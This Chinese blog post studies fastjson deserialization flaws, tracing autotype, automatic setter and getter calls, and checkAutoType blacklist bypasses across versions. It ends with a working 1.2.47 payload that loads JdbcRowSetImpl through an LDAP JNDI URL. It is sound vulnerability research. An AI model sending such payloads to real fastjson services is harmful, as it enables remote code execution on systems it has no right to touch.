抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

java继续开坑学习。看到哪个学哪个,shiro懒得看了。

fastjson

exp利用不必多说,主要是学习下原理。以下都在jdk1.8调试。

可以按wh1t3p1g师傅的博文学习。
https://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/

三个demo类

public class Person {

    public String name;

    public Phone phone;

    public Person() {
    }

    public Person(String name, Phone phone) {
        this.name = name;
        this.phone = phone;
    }

    @Override
    public String toString(){
        return name+":"+phone;
    }
}
public class Phone {

    public String phoneNumber;

    public Phone() {
    }

    public Phone(String phoneNumber) {
        this.phoneNumber = phoneNumber;
    }

    public String toString(){
        return this.phoneNumber;
    }
}
public class NewPhone extends Phone {
    public String location;

    public NewPhone(){
    }

    public NewPhone(String phoneNumber, String location) {
        this.phoneNumber = phoneNumber;
        this.location = location;
    }

    public String toString(){
        return this.phoneNumber+":"+this.location;
    }
}

fastjson库一般我们重点关注几个基本功能方法

  • JSON.toJSONString()
  • JSON.parse()
  • JSON.parseObject()

Test

import com.alibaba.fastjson.JSON;

public class Test {

    public static void main(String[] args) {
        Person person = new Person("byc_404",new Phone("123123123"));
        //Person person = new Person("byc_404",new NewPhone("123123123","china"));
        String json = JSON.toJSONString(person);
        System.out.println(json);
        Person p = JSON.parseObject(json, Person.class);
        System.out.println(p);
    }
}

//ouput:
//1.
//{"name":"byc_404","phone":{"phoneNumber":"123123123"}}
//byc_404:123123123
//2.
//{"name":"byc_404","phone":{"location":"china","phoneNumber":"123123123"}}
//byc_404:123123123

这里最显著的问题就是。我们两次执行代码时在parseObject后输出的结果是一致的。这显然不符合我们的预期,因为这直接丢失了newphone类的location属性。

由于fastjson不知道需要还原的Person的Phone是本身还是子类NewPhone,面对这种多态方式,fastjson还原的是父类,而不是子类NewPhone

在这种情况下就产生了autotype.我们将上面TOJSONString这行代码更改下

String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);

//output
//{"@type":"Person","name":"john","phone":{"@type":"NewPhone","location":"china","phoneNumber":"123123123"}}
//john:123123123:china

这里我们可以看到@type帮助我们避免了子类丢失字段的问题,成功还原了对象。但是我们自然可以想到,如果将其指定为恶意类,就可能导致恶意代码执行了。这就是最早的fastjson版本的rce漏洞。

然后因为本地jdk1.8版本太高就不复现了……打法自然是rmi / ldap两种方法。

这里提一下fastjson之所以能执行一系列方法的起因:fastjson 自动调用getter和setter以及无参数的构造函数

这里不深入跟,直接给出结论
setter提取条件:

  • 函数名长度大于等于4
  • 非静态函数
  • 限制返回类型为void或当前类
  • 函数参数只有一个
  • 函数名以set开头,第四个字符是大写或者unicde或者_或者字母f;如果函数名长度>=5,看第5位字符是不是大写的

getter提取条件:

  • 函数名长度大于等于4
  • 非静态函数
  • 函数名以get开头,第四个字符大写
  • 函数参数为0个
  • 函数的返回类型为Collection的子类或本身、Map的子类或本身、 AtomicBoolean、AtomicInteger、AtomicLong
    无相对应的setter函数

经过上述的两个条件提取后,保留了符合条件的getter和setter,并于com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue函数中invoke调用,也就是说实现了类似反序列化过程中主动调用readObject函数的效果。

由条件,此时可以利用传入某字段的方式来主动调用相关符合条件的setter和getter。例如在Person里面添加一个setTest函数,并在需要转化的json中添加”test”:1,这将会主动调用setTest。
如下

public void setTest(String test) {
    this.test = test;
    System.out.println("setTest Method called!");
}
String json="{\"name\":\"byc_404\",\"phone\":{\"phoneNumber\":\"123123123\"},\"test\":\"1\"}";
Person p = JSON.parseObject(json, Person.class);
System.out.println(p);

//output:
//setTest Method called!
//byc_404:123123123

我们在利用@type构造有危害的利用链时,主要就是查找有危害的无参数的构造函数、符合条件的getter和setter。

1.2.24 修复 bypass

然后改下maven里fastjson依赖看看高一个版本的fastjson防护。发现多了一个checkAutoType方法。当然这个版本同时需要手动开启autoType.

if (this.autoTypeSupport || expectClass != null) {
    int i;
    String deny;
    for(i = 0; i < this.acceptList.length; ++i) {
        deny = this.acceptList[i];
        if (className.startsWith(deny)) {
            return TypeUtils.loadClass(typeName, this.defaultClassLoader);
        }
    }

    for(i = 0; i < this.denyList.length; ++i) {
        deny = this.denyList[i];
        if (className.startsWith(deny)) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

这里做了一次白名单一次黑名单的检查。优先载入手工配置的白名单类,并对黑名单类爆出异常。
然后后面继续调用时,如果不符合前面的情况,后面就会进入这一段

for(i = 0; i < this.acceptList.length; ++i) {
    accept = this.acceptList[i];
    if (className.startsWith(accept)) {
        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }

        return clazz;
    }
}

跟进loadClass.

if (clazz != null) {
        return clazz;
    } else if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    } else if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    } else {
                ......

在黑名单检测之后,当开头有[或者开头有L和结尾有;时会去掉这些字符,从而造成了黑名单的绕过。因为它是用startswith检测黑名单的。

1.2.42 bypass

然后上面那个bypass的修复主要是

把黑名单全部换成hash防止深入是这个版本的特点,同时上面这个代码的作用是如果满足某个条件的话就去掉那些Lxxx;的前后第一个字符。
然而修复治标不治本,说实话有点蠢,这里只需要LLxxx;;就能绕了。
而且黑名单hash也有dalao 测过的。之前看LandGrey佬收藏过,
https://github.com/LeadroyaL/fastjson-blacklist

1.2.47 bypass

1.2.48以前的checkAutoTyye有这样一段代码。

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
    throw new JSONException("autoType is not support. " + typeName);
}

......

public static Class<?> getClassFromMapping(String className) {
    return (Class)mappings.get(className);
}

这里很奇怪的if的条件导致:即使前面搜到了黑名单里的类,如果mappings里面存在这个类,那么仍可以进行下一步操作。
这里的mappings是fastjson提早载入的一些缓存类

那么假如可以将恶意类加入mappings就能有绕过的效果了。

这里我们继续跟进

if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
    clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    } else {
        return clazz;
    }

针对deserializers.findClass,这里类中有一个初始方法,在deserializers里面预先填充了一些类与其反序列化器的实例。


其中包括一个

 this.deserializers.put(Class.class, MiscCodec.instance);

重点在经过autotype检查后MiscCodec这个反序列化器是怎么处理Class.class的。

if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
} 

TypeUtils.loadClass非常好用.他将使用ClassLoader.loadClass或Class.forName来载入类,在这一过程中,涉及到了mappings的操作,即调用了mappings.put(className,clazz).那么这样的话会直接将载入后的对象填入mappings。

那么只要提前将恶意类载入mappings就好了。

json = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/Exploit\",\"autoCommit\": true}}";

评论